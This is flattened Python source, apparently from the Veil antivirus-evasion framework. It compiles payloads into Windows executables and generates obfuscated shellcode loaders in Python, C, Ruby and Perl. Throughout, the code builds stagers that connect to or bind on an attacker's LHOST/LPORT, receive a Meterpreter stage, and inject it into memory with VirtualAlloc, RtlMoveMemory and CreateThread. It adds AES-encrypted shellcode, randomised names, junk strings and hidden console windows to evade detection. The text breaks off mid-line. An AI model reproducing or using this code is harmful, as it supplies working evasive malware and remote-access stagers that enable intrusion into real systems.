[!] ERROR: Can't find python.exe in " + os.path.expanduser(settings.WINEPREFIX + 'drive_c/Python34/'), warning=True)) print(helpers.color(" [!] ERROR: Make sure the python.exe binary exists before using PyInstaller.", warning=True)) sys.exit(1) random_key = evasion_helpers.randomString() os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Python34/python.exe' + ' ' + os.path.expanduser(settings.PYINSTALLER_PATH + '/pyinstaller.py') + ' --onefile --noconsole --key ' + random_key + ' ' + source_code_filepath) evasion_helpers.title_screen() if os.path.isfile('dist/' + file_name + ".exe"): os.system('mv dist/' + file_name + ".exe " + settings.PAYLOAD_COMPILED_PATH) hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(settings.PAYLOAD_COMPILED_PATH + file_name + ".exe")) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) os.system('rm -rf dist') os.system('rm -rf build') os.system('rm -f *.spec') os.system('rm -f logdict*.*') print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.extension == 'war': path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension with open(path_here, 'wb') as source_file: source_file.write(payload_object.payload_source_code) # Ensure that war file was written to disk if os.path.isfile(path_here): hash_executable(path_here, file_name) print_payload_information(payload_object) print(" [*] WAR file written to: " + helpers.color(source_code_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create WAR file.", warning=True)) else: print(helpers.color(" [!] ERROR: Invalid python extension in payload module.\n", warning=True)) elif payload_object.language == 'ruby': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ruby.exe ' + settings.WINEPREFIX + '/drive_c/Ruby187/bin/ocra --windows '+ source_code_filepath + ' --output ' + executable_filepath + ' ' + settings.WINEPREFIX + '/drive_c/Ruby187/lib/ruby/gems/1.8/gems/win32-api-1.4.8-x86-mingw32/lib/win32/*') evasion_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'powershell': evasion_helpers.title_screen() print_payload_information(payload_object) print(" [*] PowerShell doesn't compile, so you just get text :)") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'perl': print_payload_information(payload_object) print("\nPerl can't currently be compiled in Linux. Install on Windows:") print("https://www.veil-framework.com/perl-of-no-hope-january-v-day-2016/") print("Command: pp -gui -o <executablename> <sourcecodefile.pl>") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'native': # set path for native payload executable output path_here = settings.PAYLOAD_COMPILED_PATH + file_name + "." + payload_object.extension with open(path_here, 'wb') as source_file: source_file.write(payload_object.payload_source_code) # Ensure executables was written to disk if os.path.isfile(path_here): hash_executable(path_here, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(path_here)) else: print(helpers.color(" [!] ERROR: Unable to create Exe file.", warning=True)) elif payload_object.language == 'lua': print_payload_information(payload_object) print(" [*] Lua currently doesn't compile in linux, so you just get text :)") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'go': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile go payload os.system( 'env GOROOT={0} GOOS=windows GOARCH=386 {0}/bin/go build -ldflags "-s -w -H=windowsgui" -v -o {1} {2}'.format(settings.GOLANG_PATH, executable_filepath, source_code_filepath) ) evasion_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'cs': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe ' + source_code_filepath + ' -out:' + executable_filepath) evasion_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'c': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows ' + source_code_filepath + ' -o ' + executable_filepath + " -lwsock32") evasion_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'autoit': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile autoit code os.system('WINEPREFIX=' + settings.WINEPREFIX + ' wine ' + settings.WINEPREFIX + 'drive_c/Program\ Files/AutoIt3/Aut2Exe/Aut2exe.exe /in ' + source_code_filepath + ' /out ' + executable_filepath + ' /comp 2 /nopack') if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) else: print(helpers.color("\n [!] ERROR: Invalid payload language in payload module.\n", warning=True)) return False if invoked: handler_code_generator(payload_object, file_name, invoked=True, cli_obj=cli_object) else: handler_code_generator(payload_object, file_name) if os.path.isfile(settings.HANDLER_PATH + file_name + '.rc'): print(" [*] Metasploit Resource file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) if not invoked: dummy = input('\nHit enter to continue...\n') # End of if statement checking to make sure payload_source_code is # not empty return True
def generate(self): # randomize all of the variable names used shellCodeName = evasion_helpers.randomString() socketName = evasion_helpers.randomString() clientSocketName = evasion_helpers.randomString() getDataMethodName = evasion_helpers.randomString() fdBufName = evasion_helpers.randomString() rcvStringName = evasion_helpers.randomString() rcvCStringName = evasion_helpers.randomString() injectMethodName = evasion_helpers.randomString() tempShellcodeName = evasion_helpers.randomString() shellcodeBufName = evasion_helpers.randomString() fpName = evasion_helpers.randomString() tempCBuffer = evasion_helpers.randomString() payload_code = "import struct, socket, binascii, ctypes, random, time\n" # socket and shellcode variables that need to be kept global payload_code += "%s, %s = None, None\n" % (shellCodeName,socketName) # build the method that creates a socket, connects to the handler, # and downloads/patches the meterpreter .dll payload_code += "def %s():\n" %(getDataMethodName) payload_code += "\ttry:\n" payload_code += "\t\tglobal %s\n" %(socketName) payload_code += "\t\tglobal %s\n" %(clientSocketName) # build the socket and connect to the handler payload_code += "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) payload_code += "\t\t%s.bind(('%s', %s))\n" %(socketName,self.required_options["RHOST"][0], str(self.required_options["LPORT"][0])) payload_code += "\t\t%s.listen(1)\n" % (socketName) payload_code += "\t\t%s,_ = %s.accept()\n" % (clientSocketName, socketName) # pack the underlying socket file descriptor into a c structure payload_code += "\t\t%s = struct.pack('<i', %s.fileno())\n" % (fdBufName,clientSocketName) # unpack the length of the payload, received as a 4 byte array from the handler payload_code += "\t\tl = struct.unpack('<i', %s.recv(4))[0]\n" %(clientSocketName) payload_code += "\t\t" + rcvStringName + " = b\" \"\n" # receive ALL of the payload .dll data payload_code += "\t\twhile len(%s) < l: %s += %s.recv(l)\n" % (rcvStringName, rcvStringName, clientSocketName) payload_code += "\t\t%s = ctypes.create_string_buffer(%s, len(%s))\n" % (rcvCStringName,rcvStringName,rcvStringName) # prepend a little assembly magic to push the socket fd into the edi register payload_code += "\t\t%s[0] = binascii.unhexlify('BF')\n" %(rcvCStringName) # copy the socket fd in payload_code += "\t\tfor i in range(4): %s[i+1] = %s[i]\n" % (rcvCStringName, fdBufName) payload_code += "\t\treturn %s\n" % (rcvCStringName) payload_code += "\texcept: return None\n" # build the method that injects the .dll into memory payload_code += "def %s(%s):\n" %(injectMethodName,tempShellcodeName) payload_code += "\tif %s != None:\n" %(tempShellcodeName) payload_code += "\t\t%s = bytearray(%s)\n" %(shellcodeBufName,tempShellcodeName) # allocate enough virtual memory to stuff the .dll in payload_code += "\t\t%s = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(%s)),ctypes.c_int(0x3000),ctypes.c_int(0x40))\n" %(fpName,shellcodeBufName) # virtual lock to prevent the memory from paging out to disk payload_code += "\t\tctypes.windll.kernel32.VirtualLock(ctypes.c_int(%s), ctypes.c_int(len(%s)))\n" %(fpName,shellcodeBufName) payload_code += "\t\t%s = (ctypes.c_char * len(%s)).from_buffer(%s)\n" %(tempCBuffer,shellcodeBufName,shellcodeBufName) # copy the .dll into the allocated memory payload_code += "\t\tctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(%s), %s, ctypes.c_int(len(%s)))\n" %(fpName,tempCBuffer,shellcodeBufName) # kick the thread off to execute the .dll payload_code += "\t\tht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(%s),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))\n" %(fpName) # wait for the .dll execution to finish payload_code += "\t\tctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))\n" # download the stager payload_code += "%s = %s()\n" %(shellCodeName, getDataMethodName) # inject what we grabbed payload_code += "%s(%s)\n" % (injectMethodName,shellCodeName) if self.required_options["USE_PYHERION"][0].lower() == "y": payload_code = encryption.pyherion(payload_code) self.payload_source_code = payload_code return
def generate(self): winsock_init_name = evasion_helpers.randomString() punt_name = evasion_helpers.randomString() recv_all_name = evasion_helpers.randomString() wsconnect_name = evasion_helpers.randomString() # the real includes needed includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>"] # max length string for obfuscation global_max_string_length = 10000 max_string_length = random.randint(100,global_max_string_length) max_num_strings = 10000 # TODO: add in more string processing functions randName1 = evasion_helpers.randomString() # reverse() randName2 = evasion_helpers.randomString() # doubles characters stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)), (randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2)) ] random.shuffle(stringModFunctions) # obfuscation "logical nop" string generation functions randString1 = evasion_helpers.randomString(50) randName1 = evasion_helpers.randomString() randVar1 = evasion_helpers.randomString() randName2 = evasion_helpers.randomString() randVar2 = evasion_helpers.randomString() randVar3 = evasion_helpers.randomString() randName3 = evasion_helpers.randomString() randVar4 = evasion_helpers.randomString() randVar5 = evasion_helpers.randomString() stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[25])), (randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, evasion_helpers.randomString(50), randVar3, evasion_helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)), (randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, evasion_helpers.randomString(50), randVar5, randVar4, randVar5)) ] random.shuffle(stringGenFunctions) # obfuscation - add in our fake includes fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>", "#include <limits.h>", "#include <assert.h>"] for x in range(1, random.randint(1,7)): includes.append(fake_includes[x]) # shuffle up real/fake includes random.shuffle(includes) code = "#define _WIN32_WINNT 0x0500\n" code += "#include <winsock2.h>\n" code += "\n".join(includes) + "\n" #string mod functions code += stringModFunctions[0][1] + "\n" code += stringModFunctions[1][1] + "\n" # build the winsock_init function wVersionRequested_name = evasion_helpers.randomString() wsaData_name = evasion_helpers.randomString() code += "void %s() {" % (winsock_init_name) code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, evasion_helpers.obfuscateNum(2,4), evasion_helpers.obfuscateNum(2,4), wsaData_name) code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name) # first logical nop string function code += stringGenFunctions[0][1] + "\n" # build punt function my_socket_name = evasion_helpers.randomString() code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name) code += "closesocket(%s);" %(my_socket_name) code += "WSACleanup();" code += "exit(1);}\n" # second logical nop string function code += stringGenFunctions[1][1] + "\n" # build recv_all function my_socket_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() len_name = evasion_helpers.randomString() code += "int %s(SOCKET %s, void * %s, int %s){" %(recv_all_name, my_socket_name, buffer_name, len_name) code += "int slfkmklsDSA=0;int rcAmwSVM=0;" code += "void * startb = %s;" %(buffer_name) code += "while (rcAmwSVM < %s) {" %(len_name) code += "slfkmklsDSA = recv(%s, (char *)startb, %s - rcAmwSVM, 0);" %(my_socket_name, len_name) code += "startb += slfkmklsDSA; rcAmwSVM += slfkmklsDSA;" code += "if (slfkmklsDSA == SOCKET_ERROR) %s(%s);} return rcAmwSVM; }\n" %(punt_name, my_socket_name) # third logical nop string function code += stringGenFunctions[2][1] + "\n" # build wsconnect function target_name = evasion_helpers.randomString() sock_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name) code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name) code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name); code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0]) code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name) code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name) code += "%s.sin_family = AF_INET;" %(sock_name) code += "%s.sin_port = htons(%s);" %(sock_name, evasion_helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32)) code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name) code += "return %s;}\n" %(my_socket_name) # build main() code size_name = evasion_helpers.randomString() buffer_name = evasion_helpers.randomString() function_name = evasion_helpers.randomString() my_socket_name = evasion_helpers.randomString() count_name = evasion_helpers.randomString() # obfuscation stuff char_array_name_1 = evasion_helpers.randomString() number_of_strings_1 = random.randint(1,max_num_strings) char_array_name_2 = evasion_helpers.randomString() number_of_strings_2 = random.randint(1,max_num_strings) char_array_name_3 = evasion_helpers.randomString() number_of_strings_3 = random.randint(1,max_num_strings) code += "int main(int argc, char * argv[]) {" code += "ShowWindow( GetConsoleWindow(), SW_HIDE );" code += "ULONG32 %s;" %(size_name) code += "char * %s;" %(buffer_name) code += "int i;" code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1) code += "void (*%s)();" %(function_name) # malloc our first string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length)) code += "%s();" %(winsock_init_name) code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2) code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name) # malloc our second string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length)) code += "int %s = recv(%s, (char *)&%s, %s, 0);" % (count_name, my_socket_name, size_name, evasion_helpers.obfuscateNum(4,2)) code += "if (%s != %s || %s <= 0) %s(%s);" %(count_name, evasion_helpers.obfuscateNum(4,2), size_name, punt_name, my_socket_name) code += "%s = VirtualAlloc(0, %s + %s, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name, size_name, evasion_helpers.obfuscateNum(5,2)) code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3) # first string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0]) # real code code += "if (%s == NULL) %s(%s);" %(buffer_name, punt_name, my_socket_name) code += "%s[0] = 0xBF;" %(buffer_name) code += "memcpy(%s + 1, &%s, %s);" %(buffer_name, my_socket_name, evasion_helpers.obfuscateNum(4,2)) # malloc our third string obfuscation array code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length)) # second string obfuscation method code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0]) # real code code += "%s = %s(%s, %s + %s, %s);" %(count_name, recv_all_name, my_socket_name, buffer_name, evasion_helpers.obfuscateNum(5,2), size_name) code += "%s = (void (*)())%s;" %(function_name, buffer_name) code += "%s();" %(function_name) # third string obfuscation method (never called) code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0]) code += "return 0;}\n" self.payload_source_code = code return
def generate(self): payload_code = "require 'rubygems';require 'win32/api';require 'socket';include Win32\n" # Add logic for adding this line, stupid bug and I have no idea # why this is even a problem, but ruby is dumb if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X" or self.required_options["USERNAME"][0] != "X" or self.required_options["SLEEP"][0] != "X": pass else: payload_code += "exit if Object.const_defined?(:Ocra)\n" if self.required_options["HOSTNAME"][0] != "X" or self.required_options["DOMAIN"][0] != "X": payload_code += 'require \'socket\'\n' payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate out variable names payloadName = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() threadName = evasion_helpers.randomString() valloc_random = evasion_helpers.randomString() rtlmove_random = evasion_helpers.randomString() createthread_random = evasion_helpers.randomString() waitfor_random = evasion_helpers.randomString() heapcreate_random = evasion_helpers.randomString() heapalloc_random = evasion_helpers.randomString() heap_name = evasion_helpers.randomString() if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "$" + valloc_random + " = API.new('VirtualAlloc', 'IIII', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "$" + heapcreate_random + " = API.new('HeapCreate', 'III', 'I');$" + heapalloc_random + " = API.new('HeapAlloc', 'III', 'I');$" + rtlmove_random + " = API.new('RtlMoveMemory', 'IPI', 'V');$" + createthread_random + " = API.new('CreateThread', 'IIIIIP', 'I');$" + waitfor_random + " = API.new('WaitForSingleObject', 'II', 'I')\n" payload_code += "$g_o = API.new('_get_osfhandle', 'I', 'I', 'msvcrt.dll')\n" payload_code += "def g(ip,port)\n" payload_code += "\tbegin\n" payload_code += "\t\ts = TCPSocket.open(ip, port)\n" payload_code += "\t\tpl = Integer(s.recv(4).unpack('L')[0])\n" payload_code += "\t\tp = \" \"\n" payload_code += "\t\twhile p.length < pl\n\t\tp += s.recv(pl) end\n" payload_code += "\t\tp[0] = ['BF'].pack(\"H*\")\n" payload_code += "\t\tsd = $g_o.call(s.fileno)\n" payload_code += "\t\tfor i in 1..4\n\t\t\tp[i] = Array(sd).pack('V')[i-1] end\n" payload_code += "\t\treturn p\n" payload_code += "\trescue\n\treturn \"\"\n\tend\nend\n" payload_code += "def ij(sc)\n" payload_code += "\tif sc.length > 1000\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += "\t\tpt = $" + valloc_random + ".call(0,(sc.length > 0x1000 ? sc.length : 0x1000), 0x1000, 0x40)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call(pt,sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,pt,0,0,0),0xFFFFFFF)\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": payload_code += "\t\t$" + heap_name + " = $" + heapcreate_random + ".call(0x0004,(sc.length > 0x1000 ? sc.length : 0x1000), 0)\n" payload_code += "\t\t$" + ptrName + " = $" + heapalloc_random + ".call($" + heap_name + ", 0x00000008, sc.length)\n" payload_code += "\t\tx = $" + rtlmove_random + ".call($" + ptrName + ",sc,sc.length)\n" payload_code += "\t\tx = $" + waitfor_random + ".call($" + createthread_random + ".call(0,0,$" + ptrName + ",0,0,0),0xFFFFFFF)\n" payload_code += "\tend\nend\n" payload_code += "ij(g(\"%s\",%s))\n" % (self.required_options["LHOST"][0], self.required_options["LPORT"][0]) # Close out all the if statements for iteration in range(num_ends_required): payload_code += 'end\n' self.payload_source_code = payload_code return
def generate(self): # How I'm tracking the number of nested tabs needed # to make the payload num_ends_required = 0 payload_code = "use Win32::API;\n" # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = '' # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode payload_code2, num_ends_required = gamemaker.senecas_games(self) payload_code = payload_code + payload_code2 # randomly generate variable names shellcode_variable = evasion_helpers.randomString() ptrName = evasion_helpers.randomString() rand_valloc = evasion_helpers.randomString() rand_movemem = evasion_helpers.randomString() rand_cthread = evasion_helpers.randomString() rand_waitfor = evasion_helpers.randomString() rand_heapcreate = evasion_helpers.randomString() rand_heapalloc = evasion_helpers.randomString() rand_thread = evasion_helpers.randomString() rand_protect = evasion_helpers.randomString() protect_out = evasion_helpers.randomString() payload_code += '\t' * num_ends_required + "my $%s = \"%s\";\n" % ( shellcode_variable, Shellcode) payload_code += '\t' * num_ends_required + "$" + rand_movemem + " = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n" payload_code += '\t' * num_ends_required + "$" + rand_cthread + " = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n" payload_code += '\t' * num_ends_required + "$" + rand_waitfor + " = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n" if self.required_options["INJECT_METHOD"][0].lower() == "virtual": payload_code += '\t' * num_ends_required + "$" + rand_valloc + " = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n" payload_code += '\t' * num_ends_required + "$" + rand_protect + " = new Win32::API('kernel32', 'VirtualProtect', 'PIIP', 'I');\n" payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_valloc + "->Call(0, length($" + shellcode_variable + "), 0x1000, 0x04);\n" payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % ( ptrName, shellcode_variable, shellcode_variable) payload_code += '\t' * num_ends_required + "my $" + protect_out + " = $" + rand_protect + "->Call(" + ptrName + ", length($" + shellcode_variable + "), 0x20, 0);\n" elif self.required_options["INJECT_METHOD"][0].lower() == "heap": rand_heapcrout = evasion_helpers.randomString() payload_code += '\t' * num_ends_required + "$" + rand_heapcreate + " = new Win32::API('kernel32', 'HeapCreate', 'III', 'I');\n" payload_code += '\t' * num_ends_required + "$" + rand_heapalloc + " = new Win32::API('kernel32', 'HeapAlloc', 'III', 'I');\n" payload_code += '\t' * num_ends_required + "my $" + rand_heapcrout + " = $" + rand_heapcreate + "->Call(0x00040000, length(" + shellcode_variable + ")*2, 0);\n" payload_code += '\t' * num_ends_required + "my $" + ptrName + " = $" + rand_heapalloc + "->Call($" + rand_heapcrout + ", 0x00000008, length(" + shellcode_variable + "));\n" payload_code += '\t' * num_ends_required + "$" + rand_movemem + "->Call($%s, $%s, length($%s));\n" % ( ptrName, shellcode_variable, shellcode_variable) payload_code += '\t' * num_ends_required + "my $" + rand_thread + " = $" + rand_cthread + "->Call(0, 0, $%s, 0, 0, 0);\n" % ( ptrName) payload_code += '\t' * num_ends_required + "$" + rand_waitfor + "->Call($" + rand_thread + ", -1);\n" payload_code += '}\n' * num_ends_required self.payload_source_code = payload_code return
def generate(self): # Generate the variable names randctypes = evasion_helpers.randomString() ShellcodeVariableName = evasion_helpers.randomString() rand_ptr = evasion_helpers.randomString() rand_ht = evasion_helpers.randomString() RandEncShellCodePayload = evasion_helpers.randomString() RandCipherObject = evasion_helpers.randomString() rand_virtual_protect = evasion_helpers.randomString() # Generate the shellcode if not self.cli_shellcode: Shellcode = self.shellcode.generate(self.cli_opts) if self.shellcode.msfvenompayload: self.payload_type = self.shellcode.msfvenompayload elif self.shellcode.payload_choice: self.payload_type = self.shellcode.payload_choice self.shellcode.payload_choice = "" # assume custom shellcode else: self.payload_type = 'custom' else: Shellcode = self.cli_shellcode Shellcode = Shellcode.encode('latin-1') Shellcode = Shellcode.decode('unicode_escape') payload_code, num_tabs_required = gamemaker.senecas_games(self) # encrypt the shellcode and get our randomized key encoded_ciphertext, encryption_key, iv_value = encryption.aes_encryption( Shellcode) encoded_ciphertext = encoded_ciphertext.decode('ascii') if self.required_options["INJECT_METHOD"][0].lower() == "virtual": # Create Payload code payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_CBC, \'' + iv_value + '\')\n' payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + RandEncShellCodePayload + ')\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x04))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + rand_virtual_protect + ' = ' + randctypes + '.windll.kernel32.VirtualProtect(' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x20),' + randctypes + '.byref(' + randctypes + '.c_uint32(0)))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + rand_ht + '),' + randctypes + '.c_int(-1))\n' elif self.required_options["INJECT_METHOD"][0].lower() == "heap": HeapVar = evasion_helpers.randomString() # Create Payload code payload_code += '\t' * num_tabs_required + 'import ctypes as ' + randctypes + '\n' payload_code += '\t' * num_tabs_required + 'from Crypto.Cipher import AES\n' payload_code += '\t' * num_tabs_required + 'import base64\n' payload_code += '\t' * num_tabs_required + RandCipherObject + ' = AES.new(\'' + encryption_key + '\', AES.MODE_CBC, \'' + iv_value + '\')\n' payload_code += '\t' * num_tabs_required + RandEncShellCodePayload + ' = base64.b64decode(\'' + encoded_ciphertext + '\')\n' payload_code += '\t' * num_tabs_required + ShellcodeVariableName + ' = ' + RandCipherObject + '.decrypt(' + RandEncShellCodePayload + ')\n' payload_code += '\t' * num_tabs_required + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ') * 2),' + randctypes + '.c_int(0))\n' payload_code += '\t' * num_tabs_required + rand_ptr + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + rand_ptr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n' payload_code += '\t' * num_tabs_required + rand_ht + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + rand_ptr + '),' + randctypes + 